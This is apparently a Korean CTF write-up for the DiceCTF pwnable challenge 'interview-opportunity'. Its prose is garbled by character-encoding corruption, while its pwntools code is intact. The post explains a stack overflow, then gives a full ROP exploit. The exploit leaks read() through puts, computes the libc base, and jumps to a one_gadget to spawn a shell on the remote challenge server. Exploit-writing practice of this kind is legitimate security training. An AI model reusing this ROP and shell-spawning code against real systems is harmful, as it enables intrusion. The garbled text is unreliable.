DiceCTF์ pwnable interview-opportunity ๋ฌธ์ ๋ฅผ ํ์ด๋ณด์๋ค.
๋ฌธ์ ํ์ผ ๋ถ์
๋ฌธ์ ๋ฐ์ด๋๋ฆฌ์ libc.so.6 ํ์ผ์ ์ ๊ณตํด์ค๋ค. ๋๋ฆ ์น์ ํ๋ค.
ida๋ฅผ ์ด์ฉํด ์ด์ด๋ณด๋, ๋ค์๊ณผ ๊ฐ์ด buf์์ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๊ณ puts๋ก ๋ฒํผ์ ๋ด์ฉ์ ์ถ๋ ฅํด์ค๋ค.
๋ฒํผ์ ํฌ๊ธฐ๋ฅผ ๋๊ฒ ์ ๋ ฅํ ์ ์๊ณ , puts์์ buf ๋ด์ฉ์ ์ถ๋ ฅํด์ค๋ค๋ ์ ์์,
์คํ ์์ญ์ ๋ด์ฉ์ ์ฝ์ ์ ์๊ฒ ๋ค(leak)๋ ์๊ฐ์ด ๋ค์๋ค.
pwntools๋ก ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ด์ด๋ณด๋, ๋ค์๊ณผ ๊ฐ์ ๋ณดํธ๊ธฐ๋ฒ๋ค์ด ์ ์ฉ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
ํ์ฑํ๋ ๋ณดํธ๊ธฐ๋ฒ์ ์ดํด๋ณด๋ฉด
Partial RELRO : FULL RELRO๊ฐ ์๋๊ธฐ ๋๋ฌธ์,
=> ํจ์ GOT์์ญ์ ๋ณ์กฐํ๋ ๊ณต๊ฒฉ๋ ๊ฐ๋ฅํ๋ค.
(FULL ์ด์๋ค๋ฉด GOT์์ญ์ ์ฐ๊ธฐ๊ถํ์ด ์์ด์ง๊ณ , ํจ์ hook๋ฑ์ ์ด์ฉํด์ผํ๋ค.)
NX enabled : ์คํ์์ญ์์์ ์คํ๊ถํ์ด ์๋ค.
=> ๊ฐ์ ฏ์ ์ฐพ์ ์คํ๊ถํ์ด ์๋ ์์ญ์์ ์
์์ ์ธ ์ฝ๋๋ฅผ ์คํํ ์ ์๋ ROP๋ฅผ ์ด์ฉํด์ผํ๋ค.
๋ณดํธ๊ธฐ๋ฒ๊ณผ buf๊ฐ ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ค๋ ์ ์ ์ด์ฉํด,
1. ROP๋ฅผ ์ด์ฉํด์ ํจ์ GOT์์ญ์ system์ผ๋ก ๋ณ์กฐ ํ ์คํ
2. ROP๋ฅผ ์ด์ฉํด One_gadget์คํ
๋๊ฐ์ง ํ์ด๋ฒ ์ ๋๊ฐ ๋ ์ฌ๋๋ค.
ํ์ด
1. ROP๋ฅผ ์ด์ฉํด์ ํจ์ GOT์์ญ์ system์ผ๋ก ๋ณ์กฐ ํ ์คํ
์ด ๋ฐฉ๋ฒ์ ๊ฒฐ๋ก ์ ์ผ๋ก ๋ถ๊ฐ๋ฅํ๋ค.
์๋๋ฉด read๋ก buf์ ์
๋ ฅํ๋ ํฌ๊ธฐ๊ฐ 0x46์ธ๋ฐ, ๊ทธ๋งํผ ํฐ ๊ฐ์ ฏ์ ์
๋ ฅํ ์ ์์๊ธฐ ๋๋ฌธ์ด๋ค.
๊ทธ๋๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํด๋ณด์๋ฉด,
๋ฆฌํด ์ดํ ๊ฐ์ ฏ์ ์ด์ฉํด
1. readํจ์ plt๋ฅผ ์ด์ฉํด got๊ฐ ์ถ๋ ฅ
2. ์ด๋ฅผ ์ด์ฉํด libc_base ์ฃผ์ ๊ตฌํ๊ธฐ
3. return to mainํ์ฌ ๋ค์ ํจ์ ์์ read์์ read ํจ์ ํธ์ถํ๋ ๊ฐ์ ฏ ์
๋ ฅ.
4. ์ด๋ read๋ฅผ ์ด์ฉํด read_got ์์น์ system_got๋ฅผ ์
๋ ฅ => read(0, [read_got], 0)
5. ์ด๋ "/bin/sh\x00" ๋ฌธ์์ด ์๋ค๋ฉด ์ด๊ฒ๋ got ์์ญ์ ์
๋ ฅ (read_got+0x8์ ์
๋ ฅํจ)
6. read plt ํธ์ถ
์ ๊ฐ์ ํ๋ฆ์ผ๋ก ๊ณต๊ฒฉ์ ์ํํ๋ ค ํ์ผ๋ ํ์ํ ๊ฐ์ ฏ์ด ๋๋ฌด ๋ง์ ์คํจํ๋ค. ์ ๋ ฅํ์๋ ๊ฐ์ ฏ์ ์๋์ ๊ฐ๋ค.
buf2ret = 10+0x18
#get libc_base
payload = b"A"*buf2ret
# for get read() address - exploit : puts() call
# payload += p64(justret)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) # puts(read_got) read() address print not call read()
payload += p64(e.symbols["main"])
p.recvuntil("Why should you join DiceGang?")
p.send(payload)
# get read_addr() complete
p.recvn(47)
tmp=p.recvn(6)
read_addr = u64(tmp+b"\x00"*2)
slog("read()", read_addr)
# get libc_base addr complete
libc_base = read_addr - libc.symbols["read"]
slog("lb", libc_base)
# get system() addr complete
system_addr = libc_base + libc.symbols["system"]
slog("system_addr", system_addr)
payload = b"A"*buf2ret
# We can read only 0x46
# read(0, [read_got], 0x10)
payload += p64(justret)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(read_got) + p64(0)
payload += p64(read_plt)
# read input is uhm...
# read("/bin/sh") == system("/bin/sh")
# system("/bin/sh")
payload += p64(justret)
payload += p64(pop_rdi)
payload += p64(read_got+0x8) #"/bin/sh"
payload += p64(read_plt) #[read_got] == system()
2. ROP๋ฅผ ์ด์ฉํด One_gadget์คํ
๊ฐ์ ฏ ๊ฐฏ์ ๋๋ฌธ์ ๊ฐ์ ฏ ์ ๋ ฅ์ด ์ ์๋์ด, one_gadget์ ์ฐพ์๋ณด์๋ค.
๋คํํ๋ 3๊ฐ๊ฐ ๋์จ๋ค. ์ ์ฝ์กฐ๊ฑด์ ์ดํด๋ณด๋ฉด
r12 == NULL
r13 == NULL
rdx == NULL
rsi == NULL
4๊ฐ ์ค์ ํ๋๋ง ๋ง์กฑ์ํค๋ฉด one_gadget์ ์ฌ์ฉํ ์ ์์๋ค.
r12 == NULL and r13 == NULL
r12 == NULL and rdx == NULL
rsi == NULL and rdx == NULL
3๊ฐ ์ค์ ํ๋๋ง ๋ง์กฑ์ํค๋ฉด one_gadget์ ์ฌ์ฉํ ์ ์์๋ค.
(One_gadget ์ ์ฝ ์กฐ๊ฑด ํด์์ ๋ํ ์์ธํ ๋ด์ฉ์ ์๋ ๋งํฌ ์ฐธ๊ณ )
https://juntheworld.tistory.com/85?category=983750
๋๋ฒ๊น ์ ํด๋ณด์์๋, mainํจ์๊ฐ retํ๋ ์์ (๊ฐ์ ฏ์ ์คํํ๋ ์์ ) ์ ์์ 4๊ฐ ์กฐ๊ฑด ์ค ๋จ ํ๋๋ ๋ง์กฑ๋์ง ์์๋ค. (์์ ๋๋ฐ์ธ๋ฐ ์์ฌ์ ๋ค.)
์ด์ pop r12 r13 ๊ฐ์ ฏ์ด ์๋ ์ฐพ์๋ณด์๋๋ฐ ๋คํํ๋ ์ผ๋จ ์์๋ค.
์ด์ ํจ์ด๋ก๋๋ฅผ ๋ง๋ค์ด๋ณด์๋๋ฐ, ๋ฌธ์ ๊ฐ ์์๋ค.
og = 0xcbd20
og_addr = libc_base + og
slog("one_gadget", og_addr)
buf2ret = 10+0x18
payload = b"A"*buf2ret
payload += p64(pop_r13_r14_r15)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)
์ด๋ ๊ฒ ๊ฐ์ ฏ์ ๊ตฌ์ฑํ๊ฒ ๋๋ฉด
์ฒซ๋ฒ์งธ ์ค๋ถํฐ ๊ฐ์ ฏ๊ธธ์ด๊ฐ (0x22+0x8+0x8+0x8+0x8+0x8 = 0x4a)๋ก
0x46ํฌ๊ธฐ๋ฅผ ๋๊ฒ ์ ๋ ฅํด์ผํ๋ค.
๊ทธ๋์ ์๋ ์คํจํ๋ค.
๊ทธ๋์ ๋ค๋ฅธ ์กฐ๊ฑด์ธ pop rsi ๊ฐ์ ฏ์ ์ฐพ์๋ณด์๊ณ
payload = b"A"*buf2ret
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)
์ด๋ ๊ฒ ๊ตฌ์ฑํ๊ฒ ๋๋ฉด (0x22+0x8+0x8+0x8+0x8 = 0x42)๋ก 0x46์ ๋์ง ์์ ์ฑ๊ณตํ ์ ์์๋ค!
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
context.log_level = 'debug'
p = remote("mc.ax", 31081)
# p = process("./interview-opportunity")
e = ELF("./interview-opportunity")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
libc = ELF("./libc.so.6")
# gdb.attach(p)
pop_rdi = 0x0000000000401313
pop_rsi_r15 = 0x0000000000401311
ret2main = 0x0000000000401240
justret = 0x000000000040101a
# [3] Get offset of system
# libc = ELF("./libc.so.6")
read_got = e.got["read"]
read_plt = e.plt["read"]
puts_plt = e.plt["puts"]
buf2ret = 10+0x18
payload = b"A"*buf2ret
# for get read() address - exploit : puts() call
# payload += p64(justret)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) # puts(read_got) read() address print not call read()
payload += p64(e.symbols["main"])
p.recvuntil("Why should you join DiceGang?")
p.send(payload)
p.recvn(47)
tmp=p.recvn(6)
read_addr = u64(tmp+b"\x00"*2)
slog("read()", read_addr)
libc_base = read_addr - libc.symbols["read"]
slog("lb", libc_base)
og = 0xcbd20
og_addr = libc_base + og
slog("one_gadget", og_addr)
system_addr = libc_base + libc.symbols["system"]
slog("system_addr", system_addr)
payload = b"A"*buf2ret
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(og_addr)
# We can read only 0x46
# read("/bin/sh") == system("/bin/sh")
# read(0, [read_got], 0x10)
# payload += p64(justret)
# payload += p64(pop_rdi)
# payload += p64(0)
# payload += p64(pop_rsi_r15)
# payload += p64(read_got) + p64(0)
# payload += p64(read_plt)
# # read input is uhm...
# # system("/bin/sh")
# # payload += p64(justret)
# payload += p64(pop_rdi)
# payload += p64(read_got+0x8) #"/bin/sh"
# payload += p64(read_plt) #[read_got] == system()
p.recvuntil("Why should you join DiceGang?")
p.send(payload)
# p.send(p64(system_addr)+b"/bin/sh\x00")
p.interactive()
์ต์ข exploit ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
์ ํ์ ์ธ rop๋ฌธ์ ์๋ค.
๊ธฐ์ตํ ์ ๊ณผ ๋ฐฐ์ด ์
1. ROP ํ ๋ ์
๋ ฅ๋ฒํผ์ ํฌ๊ธฐ๋๋ฌธ์ ์ํ๋ ๊ฐ์ ฏ์ ๋ค ๋ชป์ธ ์๋์๋ค.
(=> ๊ฐ์ ๋ด์ฉ์ ์ ์ ๊ฐ์ ฏ์ ์ธ ์ ์๋ ๊ฒ๋ ๋ฅ๋ ฅ์ด๋ค.)
2. one_gadget์ ์ ์ฝ์กฐ๊ฑด๋ง ์ ๋ง์ถฐ์ฃผ๋ฉด ์ง์ง ์ต๊ณ ๋ค. ๋ง๋ฒ์ด๋ค.
'CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[CCE2022] byenance Pwnable Write-Up (0) | 2022.09.24 |
---|---|
2022 SSTF CTF (Hacker's Playground) RISC Pwnable Write-Up (0) | 2022.09.06 |
__rtld_global overwrite exploit (0) | 2022.02.16 |
DFB(Double Free Bug)๋ ์ผ๋ก ํ๋ฆฌ์ฐํํ๋ฆฌ ์ผ๋ก ๊ฐ์ฐ๊ณ ์ผ๋ก ์ผ๋ก ์ด์ํ์ง์ด๋ค. (0) | 2022.02.11 |
FSB(Format String Bug) %n %hn %hhn ์ผ๋ก ์ซ์ ์ ๋ ฅ์ ๋ฉ๋ชจ๋ฆฌ ์ํ (0) | 2022.02.09 |